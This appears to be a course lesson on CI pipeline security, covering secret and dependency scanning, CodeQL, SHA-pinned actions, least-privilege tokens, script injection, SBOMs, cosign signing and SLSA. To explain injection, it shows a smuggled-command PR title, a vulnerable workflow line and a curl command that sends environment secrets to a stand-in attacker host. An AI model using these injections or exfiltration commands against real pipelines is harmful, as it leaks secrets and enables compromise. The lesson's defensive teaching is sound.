Pipeline security: your CI is a production system
Your pipeline holds deploy keys, so attackers aim at it. Scan secrets and dependencies, run SAST, pin actions to commit SHAs, keep tokens minimal, and close script injection.
By the end of this lesson you'll be able to
0 of 7 completeWhy attackers aim at pipelines
A pipeline can read your code, holds your deploy credentials, and pushes to production. Compromise it and you don't need to break into production: the pipeline ships the attacker's code for you, signed and approved. The ways in are few, and each has a defence:
Secrets: never in the repository
The first defence is the one from the Git course's Security lesson: push protection rejects pushes containing recognised keys, and secret scanning alerts on any already in history. Turn both on for every repository. In the pipeline itself:
- Keep secrets in GitHub secrets or environments, never in workflow files (lesson 4).
- Prefer OIDC to stored cloud keys, so there's nothing long-lived to leak.
- Never print secrets, even partly, and don't pass them as command-line arguments.
Dependency scanning
Most of the code you ship is other people's. Check it at two moments:
dependency-review: if: github.event_name == 'pull_request' runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0 with: fail-on-severity: high # block PRs that ADD a high or critical vulnerability audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0 with: node-version: 22 - run: npm audit --audit-level=high --omit=dev # check what's ALREADY there
$ npm audit --audit-level=high --omit=dev found 0 vulnerabilities
Dependency review looks only at what a pull request changes, so it never blocks you for an old problem
you didn't touch. npm audit (or pip-audit, govulncheck, Trivy for images) checks everything, and
runs on a schedule too, because new vulnerabilities are published about packages you already use.
Dependabot opens the pull requests that fix them (the Git course's Security lesson).
SAST: find bugs in the code
Static application security testing reads your source for security bugs: SQL injection, unsafe deserialisation, path traversal, secrets in code. GitHub's CodeQL is free for public repositories:
codeql: runs-on: ubuntu-latest permissions: contents: read security-events: write # to upload results to the Security tab steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - uses: github/codeql-action/init@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3 with: languages: javascript-typescript - uses: github/codeql-action/analyze@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
Findings appear under Security → Code scanning and as comments on the pull request lines that introduce them. Even simpler: Settings → Advanced Security → CodeQL analysis → Default setup configures it with no YAML. Semgrep is a popular alternative with readable rules (this site runs it in CI).
Pin actions to commit SHAs
uses: some/action@v2 runs whatever code the v2 tag points to at that moment, with access to your
secrets. Tags can be moved. In March 2025 attackers did exactly that to tj-actions/changed-files, a
popular action: every tag was repointed to code that printed secrets into build logs, in thousands of
repositories at once. Workflows pinned to a commit SHA kept running the old, safe code.
# Moves when the tag moves: trusts the action's owner forever - uses: actions/checkout@v7 # Can never change: this exact code, reviewed once - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
Find the SHA on the action's Releases page, or ask the API:
$ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha 3d3c42e5aac5ba805825da76410c181273ba90b1
(For annotated tags, that returns the tag object; follow it with gh api repos/<owner>/<repo>/git/tags/<sha> --jq .object.sha to get the commit.) The # v7.0.1 comment keeps it readable, and Dependabot updates
pinned SHAs and their comments when you add the github-actions ecosystem. Actions published by GitHub
(actions/*) are lower risk, but pinning everything is simpler than deciding each time.
Least-privilege tokens and script injection
Keep the token small
permissions: contents: read # top of every workflow jobs: codeql: permissions: contents: read security-events: write
Set the repository default to read-only (Settings → Actions → General → Workflow permissions). A compromised step with a read-only token can't push code, create releases or approve its own pull request.
Script injection
Expressions are pasted into the script before the shell runs it. Any value someone else controls (PR titles and bodies, branch names, issue comments, commit messages) can carry shell code:
- run: echo "Thanks for ${{ github.event.pull_request.title }}" # vulnerable
With the title Fix typo"; echo "PWNED: this ran as your workflow, with its token, the script GitHub runs
becomes two commands:
$ bash -c 'echo "Thanks for Fix typo"; echo "PWNED: this ran as your workflow, with its token"' Thanks for Fix typo PWNED: this ran as your workflow, with its token
Replace echo with curl https://attacker.example --data "$(env)" and your secrets are gone. The fix:
pass untrusted values through env:, where the shell sees them as data:
- env: TITLE: ${{ github.event.pull_request.title }} run: echo "Thanks for $TITLE" # safe
$ TITLE='Fix typo"; echo "PWNED…' bash -c 'echo "Thanks for $TITLE"' Thanks for Fix typo"; echo "PWNED…
actionlint flags the vulnerable form (lesson 2):
bad.yml:6:35: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. [expression]
SBOM: know what you shipped
When a bad CVE lands, the first question is "which of our images have it?". Grepping lockfiles across fifty repositories is slow, and lockfiles don't list what the base image brought in. A software bill of materials (SBOM) answers it: a machine-readable list of every package in an artifact, OS packages included, made at build time and kept next to the image.
Syft reads an image and writes one. Here it is on shop-api's image, from a local registry:
$ docker run --rm --network host anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q NAME VERSION TYPE busybox 1.37.0-r31 apk busybox-binsh 1.37.0-r31 apk express 4.21.2 npm musl 1.2.6-r2 apk node 22.23.3 binary … $ docker run --rm --network host -v $PWD:/out anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q \ -o spdx-json=/out/sbom.spdx.json $ python3 -c "import json; print(len(json.load(open('sbom.spdx.json'))['packages']), 'packages')" 288 packages
docker run --rm --network host anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -qdockerbuild and run containersrunstart a new container--rmdelete the container when it exits--network hostwhich network to joinanchore/syft:v1.18.1the image to startlocalhost:5050/shop-api:1.0.44 -qthe command run inside, instead of the image’s default
docker run --rm --network host -v $PWD:/out anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q \-v $PWD:/outmount a volume or folder, source:path-insidelocalhost:5050/shop-api:1.0.44 -q \the command run inside, instead of the image’s default
288 packages for an app with one dependency in package.json: the Alpine base, Node itself and express's own
dependencies. That gap is why you scan the image, not the manifest. SPDX and CycloneDX are the two standard
formats; scanners such as Grype or Trivy read either and match it against vulnerability databases, and
docker buildx build --sbom=true can attach one at build time.
Sign what you build
An SBOM says what is in an image. It doesn't prove the image in the registry is the one your pipeline built.
Anyone with push access, or a stolen registry token, can replace shop-api:1.0.44. Signing closes that
gap: the pipeline signs the image digest, and the deploy side refuses anything without a valid signature.
cosign stores the signature in the registry next to the image. With a key pair, made here for a local test:
$ cosign generate-key-pair Private key written to cosign.key Public key written to cosign.pub $ cosign sign --yes --key cosign.key --tlog-upload=false \ localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 Pushing signature to: localhost:5050/shop-api $ cosign verify --key cosign.pub --insecure-ignore-tlog=true \ localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 -- The following checks were performed on each of these signatures: - The cosign claims were validated - The signatures were verified against the specified public key
Now someone builds a changed image on top of it and pushes it:
$ cosign verify --key cosign.pub --insecure-ignore-tlog=true localhost:5050/shop-api:1.0.44-evil Error: no signatures found
Sign the digest, never a tag: a tag can be moved to another image, a digest can't. The
--tlog-upload=false and --insecure-ignore-tlog flags are only there because this was a local test. In a
real pipeline, use keyless signing: on GitHub Actions, cosign uses the job's OIDC token (lesson 4), so there's
no private key to leak, and every signature is recorded in Sigstore's public transparency log. Then enforce it
where images run, with a Kubernetes admission policy such as Kyverno or Sigstore's policy-controller.
The SBOM can travel the same way, as a signed attestation attached to the image:
$ cosign attest --yes --key cosign.key --tlog-upload=false --type spdxjson --predicate sbom.spdx.json \ localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 Using payload from: sbom.spdx.json $ cosign verify-attestation --key cosign.pub --insecure-ignore-tlog=true --type spdxjson \ localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 -- The following checks were performed on each of these signatures: - The cosign claims were validated - The signatures were verified against the specified public key
Provenance and SLSA
A signature says who signed. Provenance says how the artifact was made: which repository, which commit,
which workflow, on which runner. With it, a deploy policy can say "only images built by
.github/workflows/release.yml from main", and an image built on a laptop is rejected even if it's signed.
SLSA ("salsa") grades how far you can trust that record. In plain words, the build levels are:
| Level | What it means |
|---|---|
| L1 | provenance exists: the build says how it was built |
| L2 | it's produced and signed by a hosted build platform, not by a script anyone can edit |
| L3 | the platform keeps builds apart and keeps the signing key away from your build steps, so a build can't forge it |
On GitHub, actions/attest-build-provenance creates a signed SLSA provenance attestation for an artifact or
image in one step (the job needs id-token: write and attestations: write), and gh attestation verify
checks it before a deploy.
Harden shop-api's pipeline
Add a security workflow to shop-api with dependency review on pull requests, a scheduled npm audit and CodeQL, all actions pinned to commit SHAs and a read-only token. Then fix a script-injection bug actionlint finds, and prove the fix.
A green Security workflow and an actionlint-clean repositoryReveal one safe solution
$ nano .github/workflows/security.yml # dependency-review, audit and codeql jobs from this lesson $ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha # check each pin yourself 3d3c42e5aac5ba805825da76410c181273ba90b1 $ cat > .github/workflows/greet.yml <<'EOF' on: pull_request permissions: contents: read jobs: greet: runs-on: ubuntu-latest steps: - run: echo "Thanks for ${{ github.event.pull_request.title }}" EOF $ actionlint # flags the injection on line 8 $ nano .github/workflows/greet.yml # move the title into env: TITLE, use "$TITLE" $ actionlint && echo "clean" clean $ npm audit --audit-level=high --omit=dev found 0 vulnerabilities $ git add .github && git commit -m "ci: security scanning, pinned actions" && git push
cat > .github/workflows/greet.yml <<'EOF'catprint a file>write output to a file, replacing it
actionlint && echo "clean"&&run the next command only if this one workedechoprint text
git add .github && git commit -m "ci: security scanning, pinned actions" && git pushgitversion controladdstage changescommitsave staged changespushupload commits
Then set Settings → Actions → General → Workflow permissions to Read repository contents, and add the
github-actions ecosystem to .github/dependabot.yml so the pinned SHAs stay current.
Try it yourself
0 of 7 steps doneRun each task in your own account or terminal, then tick it off.
Quick check
Why is run: echo "${{ github.event.pull_request.title }}" dangerous?
Official reading for this lesson
Or get every quiz answer right and it completes itself.